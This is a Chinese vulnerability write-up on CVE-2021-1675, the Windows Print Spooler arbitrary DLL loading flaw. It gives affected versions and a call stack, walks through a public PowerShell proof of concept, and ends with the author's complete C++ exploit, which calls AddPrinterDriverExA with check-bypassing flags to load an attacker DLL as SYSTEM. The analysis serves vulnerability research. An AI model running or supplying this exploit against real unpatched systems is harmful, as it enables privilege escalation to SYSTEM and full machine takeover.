【CVE-2021-1675】Spoolsv打印机服务任意DLL加载漏洞分析

news2024/11/15 21:41:32

漏洞详情

简介

打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。

影响版本

windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019

危害等级

8.8   ∣   H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8  HIGH

漏洞复现

【环境】 W i n 10   1909   18363.592   x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64

POC下载见参考

非管理员权限下,直接利用漏洞添加一个管理员账户

在这里插入图片描述

漏洞分析

加载任意模块调用栈

# Child-SP          RetAddr               Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233     ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96     ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7     ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608     ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360     ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536     ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8     ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764     ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0     ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1     KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395     winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f     winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5     PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7     PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a     localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864     localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee     localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21     localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4     localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf     localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292     localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf     localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e     spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634     spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983     spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036     RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c     RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8     RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951     RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f     RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301     RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d     RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2     ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4     ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1     KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000     ntdll!RtlUserThreadStart+0x21

POC分析

POC主要做两件事:

  1. 枚举本地Windows x64环境下的所有打印机驱动

    if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){
            $driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)
        } else {
            Write-Host "[!] failed to get current driver list"
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
            return
        }
    
  2. 添加打印机驱动

    $driver_info = New-Object $DRIVER_INFO_2
        $driver_info.cVersion = 3
        $driver_info.pConfigFile = $DLL
        $driver_info.pDataFile = $DLL
        $driver_info.pDriverPath = $driver.pDriverPath
        $driver_info.pEnvironment = "Windows x64"
        $driver_info.pName = $DriverName
    
        $pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)
    
        if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {
            if ( $delete_me ) {
                Write-Host "[+] added user $NewUser as local administrator"
            } else {
                Write-Host "[+] driver appears to have been loaded!"
            }
        } else {
            Write-Error "[!] AddPrinterDriverEx failed"
        }
    

重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:

BOOL AddPrinterDriverEx(
  _In_    LPTSTR pName,
  _In_    DWORD  Level,
  _Inout_ LPBYTE pDriverInfo,
  _In_    DWORD  dwFileCopyFlags
);
  • pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。

  • Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。

  • pDriverInfo - 根据Level的取值,该参数对应的结构有

    Level结构体
    2DRIVER_INFO_2
    3DRIVER_INFO_3
    4DRIVER_INFO_4
    6DRIVER_INFO_6
    8DRIVER_INFO_8

    2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。

    typedef struct _DRIVER_INFO_2 {
      DWORD  cVersion;						// 为其编写驱动程序的操作系统版本。 支持的值为 3。
      LPTSTR pName;							// 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。
      LPTSTR pEnvironment;					// 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。
      LPTSTR pDriverPath;					// 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。
      LPTSTR pDataFile;						// 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。
      LPTSTR pConfigFile;					// 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。
    } DRIVER_INFO_2, *PDRIVER_INFO_2;
    
  • dwFileCopyFlags - 含义如下:

    含义
    APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。
    APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。
    APD_COPY_NEW_FILES添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。
    APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。
    APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。

从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx

要想成功添加打印机驱动,中间要通过两处关键检查。

  • S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:

在这里插入图片描述

  • I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:

在这里插入图片描述

最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。

漏洞利用

为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2pDriverPath字段中。然后参数dwFileCopyFlags0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。

我的EXP代码:

#include <iostream>
#include <windows.h>


void Exploit()
{
    const char* pName = "Hack";
    const char* pVenomDll = "Your venmo dll";
    const char* pEnvironment = "Windows x64";
    PDRIVER_INFO_2A pDrvInfo = NULL;
    DRIVER_INFO_2A drvInfo;
    PBYTE pBuffer = NULL;
    DWORD cbNeed = 0;
    DWORD nDrv;
    BOOL bRet;
    // 枚举本地所有Windows x64的打印机
    bRet = EnumPrinterDriversA(
        NULL,
        (LPSTR)pEnvironment,
        2,
        NULL,
        cbNeed,
        &cbNeed,
        &nDrv);

	pBuffer = new BYTE[cbNeed];
	if (pBuffer == NULL)
		goto cleanup;

	bRet = EnumPrinterDriversA(
		NULL,
		(LPSTR)pEnvironment,
		2,
        pBuffer,
		cbNeed,
		&cbNeed,
		&nDrv);

	if (!bRet)
		goto cleanup;

    pDrvInfo = (PDRIVER_INFO_2A)pBuffer;

    for (DWORD i = 0; i < nDrv; i++)
    {
        printf(
            "[+] DriverName: %s\n"
            "    DriverPath: %s\n",
            pDrvInfo[i].pName,
            pDrvInfo[i].pDriverPath
        );
    }

    drvInfo.cVersion = 3;
    drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;
    drvInfo.pConfigFile = (LPSTR)pVenomDll;
    drvInfo.pDataFile = (LPSTR)pVenomDll;
    drvInfo.pEnvironment = (LPSTR)pEnvironment;
    drvInfo.pName = (LPSTR)pName;

    bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);
    if (!bRet)
    {
        printf("[-] ErrorCode: 0x%x\n", GetLastError());
    }

cleanup:
    if (pBuffer)
        delete[] pBuffer;
}

int main()
{
    Exploit();

    return 0;
}

参考

[1] https://github.com/calebstewart/CVE-2021-1675

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1249392.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

我在electron中集成了自己的ai大模型

同学们可以私信我加入学习群&#xff01; 正文开始 前言一、大模型选择二、获取key三、调用api四、调用ai模型api时&#xff0c;解决跨域总结 前言 最近单位把gpt、文心一言、通义千问、星火等等等等你能想到的ai大模型都给禁掉了&#xff0c;简直丧心病狂。 不知道有多少感同…

【多线程】-- 01 线程创建之继承Thread多线程同步下载网络图片

多线程 1 简介 1.1 多任务、多线程 普通方法调用&#xff1a;只有主线程一条执行路径 多线程&#xff1a;多条执行路径&#xff0c;主线程和子线程并行交替执行 如下图所示&#xff1a; 1.2 程序.进程.线程 一个进程可以有多个线程&#xff0c;例如视频中同时听声音、看图…

unordered_map 与 unordered_set 的模拟实现

unordered_map 与 unordred_set 的模拟实现与 map 与 set 的模拟实现差不多。map 与 set 的模拟实现中&#xff0c;底层的数据结构是红黑树。unordered_map 与 unordered_set 的底层数据结构是哈希表。因此&#xff0c;在模拟实现 unordered_map 与 unordred_set 之前你必须确保…

Find My鼠标|苹果Find My技术与鼠标结合,智能防丢,全球定位

随着折叠屏、多屏幕、OLED 等新兴技术在个人计算机上的应用&#xff0c;产品更新换代大大加速&#xff0c;进一步推动了个人计算机需求的增长。根据 IDC 统计&#xff0c;2021 年全球 PC 市场出货量达到 3.49 亿台&#xff0c;同比增长 14.80%&#xff0c;随着个人计算机市场发…

【从浅识到熟知Linux】基本指定之zip、unzip和tar

&#x1f388;归属专栏&#xff1a;从浅学到熟知Linux &#x1f697;个人主页&#xff1a;Jammingpro &#x1f41f;每日一句&#xff1a;周五写博客更刺激了&#xff0c;想到明天可以晚起床半小时&#xff0c;瞬间精神抖擞。再写它10篇博客。 文章前言&#xff1a;本文介绍zip…

Tars-GO 开发

默认环境是安装好的 创建服务: tarsgo make App Server Servant GoModuleName Tars 实例的名称&#xff0c;有三个层级&#xff0c;分别是 App&#xff08;应用&#xff09;、Server&#xff08;服务&#xff09;、Servant&#xff08;服务者&#xff0c;有时也称 Object&am…

什么是AWS CodeWhisperer?

AWS CodeWhisperer https://aws.amazon.com/cn/codewhisperer/ CodeWhisperer 经过数十亿行代码的训练&#xff0c;可以根据您的评论和现有代码实时生成从代码片段到全函数的代码建议。 ✔ 为您量身定制的实时 AI 代码生成器 ✔ 支持热门编程语言和 IDE ✔ 针对 AWS 服务的优…

前端大厂(腾讯、字节跳动、阿里......)校招面试真题解析,让你面试轻松无压力!

前言 校招很重要&#xff0c;应届生的身份很珍贵&#xff01;在校招的时候与我们竞争的大部分都是没有工作经验的学生&#xff0c;而且校招企业对学生的包容度高&#xff0c;一般对企业来说&#xff0c;社招更看重实际工作经验&#xff0c;而校招更愿意“培养人”&#xff0c;校…

Linux(7):Vim 程序编辑器

vi 基本上 vi 共分为三种模式&#xff0c;分别是【一般指令模式】、【编辑模式】与【指令列命令模式】。 这三种模式的作用分别是&#xff1a; 一般指令模式(command mode) 以 vi 打开一个文件就直接进入一般指令模式了(这是默认的模式&#xff0c;也简称为一般模式)。在这个模…

Rust UI开发(二):iced中如何为窗口添加icon图标

注&#xff1a;此文适合于对rust有一些了解的朋友 iced是一个跨平台的GUI库&#xff0c;用于为rust语言程序构建UI界面。 想要了解如何构建简单窗口的可以看本系列的第一篇&#xff1a; Rust UI开发&#xff1a;使用iced构建UI时&#xff0c;如何在界面显示中文字符 本篇是系…

量子计算的发展

目录 一、量子力学的发展历程二、量子计算的发展历程三、量子计算机的发展历程四、量子信息科学的发展 一、量子力学的发展历程 量子力学是现代物理学的一个基本分支&#xff0c;它的发展始于20世纪初。以下是量子力学发展的几个重要阶段&#xff1a; 普朗克&#xff08;1900&…

ubuntu环境删除qtcreator方法

文章目录 方法1方法2方法3参考不同的安装方法,对应不同的删除方法 方法1 apt-get或者dpkg 方法2 QtCreatorUninstaller 方法3 MaintenanceTool

机器学习【02】在 Pycharm 里使用 Jupyter Notebook

只有 Pycharm 的 Professional 版才支持 Jupyter Notebook 本教程结束只能在pycharm中使用&#xff0c;下载的库在pycharm选中的虚拟环境中 ssh -L localhost:9999:localhost:8888 usernameip这句话每次都要用 准备 1.服务器安装jupyter sudo snap install jupyter2.在 Jup…

39 关于 binlog 日志

前言 bin log 相关 呵呵 记得之前是做过基于 binlog 的数据同步到的, 这里 可以来了解一下 binlog 的产生, 以及 相关更加详细的信息 说不定 之后也可以 做一个 binlog 的解析工具 这里 来看一下 各个常见的 binlog event 的相关格式 open-replicator 解析binlog失败 a…

npm pnpm yarn(包管理器)的安装及镜像切换

安装Node.js 要安装npm&#xff0c;你需要先安装Node.js。 从Node.js官方网站&#xff08;https://nodejs.org&#xff09;下载并安装Node.js。 根据你的需要选择相应的版本。 一路Next&#xff0c;直到Finish 打开CMD&#xff0c;输入命令来检查Node.js和npm是否成功安装 nod…

C语言-指针讲解(3)

文章目录 1.字符指针变量1.1 字符指针变量类型是什么1.2字符指针变量的两种使用方法&#xff1a;1.3字符指针笔试题讲解1.3.1 代码解剖 2.数组指针变量2.1 什么是数组指针2.2 数组指针变量是什么&#xff1f;2.2.3 数组指针变量的举例 2.3数组指针和指针数组的区别是什么&#…

AI模型训练——入门篇(一)

前言 一文了解NLP&#xff0c;并搭建一个简单的Transformers模型&#xff08;含环境配置&#xff09; 一、HuggingFace 与NLP 自从ChatGPT3 问世以来的普及性使用&#xff0c;大家或许才真正觉察AI离我们已经越来越近了&#xff0c;自那之后大家也渐渐的开始接触stable diff…

vue+springboot读取git的markdown文件并展示

前言 最近&#xff0c;在研究一个如何将我们git项目的MARKDOWN文档获取到&#xff0c;并且可以展示到界面通过检索查到&#xff0c;于是经过几天的摸索&#xff0c;成功的研究了出来 本次前端vue使用的是Markdown-it Markdown-it 是一个用于解析和渲染 Markdown 标记语言的 …

虹科Pico汽车示波器 | 汽车免拆检修 | 2011款瑞麒M1车发动机起动困难、加速无力

一、故障现象 一辆2011款瑞麒M1车&#xff0c;搭载SQR317F发动机&#xff0c;累计行驶里程约为10.4万km。该车因发动机起动困难、抖动、动力不足、热机易熄火等故障进厂维修。用故障检测仪检测&#xff0c;发动机控制单元&#xff08;ECU&#xff09;中存储有故障代码“P0340相…

C#/.NET/.NET Core推荐学习书籍(已分类)

前言 古人云&#xff1a;“书中自有黄金屋&#xff0c;书中自有颜如玉”&#xff0c;说明了书籍的重要性。作为程序员&#xff0c;我们需要不断学习以提升自己的核心竞争力。以下是一些优秀的C#/.NET/.NET Core相关学习书籍&#xff0c;值得.NET开发者们学习和专研。书籍已分类…